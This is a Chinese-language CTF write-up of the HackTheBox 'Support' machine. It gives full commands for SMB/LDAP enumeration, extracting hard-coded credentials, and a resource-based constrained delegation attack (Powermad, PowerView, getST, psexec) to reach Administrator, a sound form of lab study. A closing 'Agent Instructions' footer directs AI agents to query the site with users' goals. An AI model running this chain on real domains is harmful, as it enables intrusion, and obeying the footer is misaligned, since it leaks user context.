> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox 复盘

Support HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、EXE 二进制分析、使用 DNSpy 调试、设置断点并以明文获取 LDAP 密码（DNSpy），并包含实用的

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* EXE 二进制分析
* 使用 DNSpy 进行调试
* 设置断点并获取明文 LDAP 密码（DNSpy）
* Kerberos 用户枚举（kerbrute）
* LDAP 枚举（ldapsearch）
* 信息泄露
* 滥用远程管理用户组（Evil-WinRM）
* SharpHound + BloodHound 枚举
* 滥用共享支持账户（GenericAll）（RBCD 攻击）（基于资源的约束委派）
* 基于资源的约束委派攻击 - 创建计算机对象（powermad.ps1）
* 基于资源的约束委派攻击 - PowerView\.ps1
* 基于资源的约束委派攻击 - 获取被模拟的服务票据（getST.py）
* 使用票据获取管理员访问权限（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174fae50ff9d19280d9874d4384bc60e7615923b%2Fimage%20(2136).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe67f060490ae2e3730bf7f519f00867c0322f54%2Fimage%20(2137).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息提取到“targeted”文件：

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea6bb3c281ad3febfed224e99c6b943476238d%2Fimage%20(2138).png?alt=media" alt=""><figcaption></figcaption></figure>

## **DC 枚举：** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### 列出 SMB：

使用 CrackMapExec 进行 SMB 枚举。

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a69b3a4ac591def0ed7eeed43c2dcb4289dd99cf%2Fimage%20(1549).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c79bf8ec817228aa35517cba829e88fb801f7ee4%2Fimage%20(1551).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Kerberos 列表：**

使用 Kerbrute 枚举用户。

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79803a0080c53ed86f72cd34f77ba5eb62be416a%2Fimage%20(2139).png?alt=media" alt=""><figcaption></figcaption></figure>

### **探索网络共享：**

在网络中搜索共享文件夹。

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8784cf356311d8f2de1ffc8f71d0e2191c225801%2Fimage%20(1552).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2eac4ec7f89313bf3e114881a5d3ab58d09771d%2Fimage%20(1553).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发现了一个名为“UserInfo-exe-zip”的有趣 zip 文件。为继续操作，我们使用 `get` 命令将其下载到我们的机器上。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-146d0f0c14d8474311bf757d6851eba5eaaf6df4%2Fimage%20(1554).png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Windows 二进制文件分析：/*/*

我们将在一台配备 Windows 的机器上运行一个 Windows 可执行文件。

为此，我们需要：

1. 传输 ZIP 压缩包

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-336c5666012c2a04d10a99a66d151be66d39e88f%2Fimage%20(1532).png?alt=media" alt=""><figcaption></figcaption></figure>

2. VPN 配置迁移
3. `/etc/hosts` 配置

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d437fff4d6ce1f99c82def2a9ae4f2f5c5137e65%2Fimage%20(1533).png?alt=media" alt=""><figcaption></figcaption></figure>

要运行该二进制文件并识别所有有效用户，只需输入以下命令

```bash
./UserInfo.exe find -first * -last *
```

#### 该二进制文件将允许我们列出用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f14fb65a246282ec34008365edfd123bafc9be9%2Fimage%20(1534).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 DNSpy 分析下载的 Windows 二进制文件。

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14eda0b0e6a7e38c03998a0c8c761c2bfaa37f14%2Fimage%20(1535).png?alt=media" alt=""><figcaption></figcaption></figure>

### **提取明文密码：**

使用 DNSpy 从 Windows 二进制文件中提取明文密码。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68c6479e98ea649406632bb6893d719647ad6b78%2Fimage%20(1537).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将运行该程序，但只会在文本变为明文的部分暂停。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1ca7d885fca23b756d5f4e2c062b57004e48b42%2Fimage%20(1538).png?alt=media" alt=""><figcaption></figcaption></figure>

这是 LDAP 密码：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fccbe4d7d63d2f9e8004e29d9950cd9a4f61e5d8%2Fimage%20(1539).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP 密码验证：**

使用 CrackMapExec 检查提取出的密码。

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b79bfe33e6dc867026014d081cb67adbfc047726%2Fimage%20(1540).png?alt=media" alt=""><figcaption></figcaption></figure>

### 域列表：

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### 域用户

```
enumdomusers
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b0b35dd85e726addffce56832f56c8a40ea29f4%2Fimage%20(1541).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 域组

```bash
enumdomgroups
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db6b248cef31df6216180ce1148c26c917ef9f2a%2Fimage%20(1543).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 用户描述：

```bash
querydispinfo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a6c088afc83bd590c7cee65ec87e9a5bfd6e8d9%2Fimage%20(1544).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 将所有有效的域用户写入文件。

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d30a010c21f0ac40cf81716bea9056e3ffe7124%2Fimage%20(1545).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们现在检查 LDAP 密码是否可被下列某个用户复用：

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

然而，这不起作用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead4b5c47f06a138d5a8b6c2e2a337bc0e929380%2Fimage%20(1546).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDPA 列表：**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### 使用 LDAP 搜索来枚举信息。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### 可获得大量数据，但通过对歌曲信息应用过滤器，发现了 support 用户的密码。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7b358420350e9c73aef45179ffd790a85cffc%2Fimage%20(1547).png?alt=media" alt=""><figcaption></figcaption></figure>

## **利用：**

#### 使用 CrackMapExec 确认与 support 账户关联的密码。

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

该用户属于远程管理用户组，使我们能够通过 Windows 远程管理（WinRM）进行连接。

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **使用 Evil-WinRM：**

使用获得的已识别信息通过 Evil-WinRM 连接到目标系统。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13620b0ff292719414d2263e0b551379c1e0f175%2Fimage%20(1548).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### **检查当前权限：**<br>

使用 `whoami /priv` 用于检查用户权限的命令，但未成功。<br>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb9161fbcd02ca5c5d04afd0202c3f716ec9e961%2Fimage%20(2140).png?alt=media" alt=""><figcaption></figcaption></figure>

### **分析成员组：**

使用 `net user support` 用于检查该用户所属组的命令。

发现了一个看似罕见的组，“shared support accounts”。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87693bc598ce55f2c0352ae7ab5c3e2a08a0c2d%2Fimage%20(2141).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 BloodHound 进行权限分析：**

#### 使用 BloodHound 工具映射访问关系。

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24a8ad5d49ece7db7f5c5483d53c6abca7ddfebf%2Fimage%20(2142).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55d4466bc771276edb7d50b2467948e3509116ed%2Fimage%20(2143).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **执行 SharpHound 以进一步分析：**

使用 SharpHound（BloodHound 的辅助工具）收集有关访问关系的更多数据。

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec510f08bec802ae32a7f8aeb16a9c8ba3ff1fce%2Fimage%20(2144).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5197fab18924198b6b334a5841c781a08ac4b8%2Fimage%20(2145).png?alt=media" alt=""><figcaption></figcaption></figure>

## 基于资源的约束委派攻击漏洞：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **基于资源的约束委派攻击漏洞识别：**

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965df08c9717c66c273be88bab4b616f67236503%2Fimage%20(2146).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 部署 Powermad 脚本以创建计算机账户。

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### 使用 PowerView 检查计算机账户创建。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d14609ed598f86e2db250120bcaf45dc835c0b1%2Fimage%20(2147).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 使用 PowerShell 命令为计算机账户定义授权。

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### 使用此命令，我们检查整个 'Get-DomainComputer dc' 流程是否能使用 'msds-allowedtoactonbehalfofather identity' 属性正常工作。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd020e3c2a82e956581c11243297b9e5bb444a87%2Fimage%20(2148).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **漏洞利用**

#### 使用 Impacket 工具执行 `getST` 命令以获取一个模拟 Administrator 用户的 TGT 票据。

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbf90a346d8f28174a6cc94bb8d992fb55c5e58%2Fimage%20(2149).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过导出配置 Administrator 的 Kerberos 环境， `KRB5CCNAME`，然后使用 Impacket 连接到目标系统 `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24e7afa4733c9a41aec2ac7a31eedcf56c01f322%2Fimage%20(2150).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8573bbe1a1994c359f2b51a3b87664f13a19dbd3%2Fimage%20(2151).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5f7e7f7442fe5b14557f36883610d07f0f1c951%2Fimage%20(1414).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
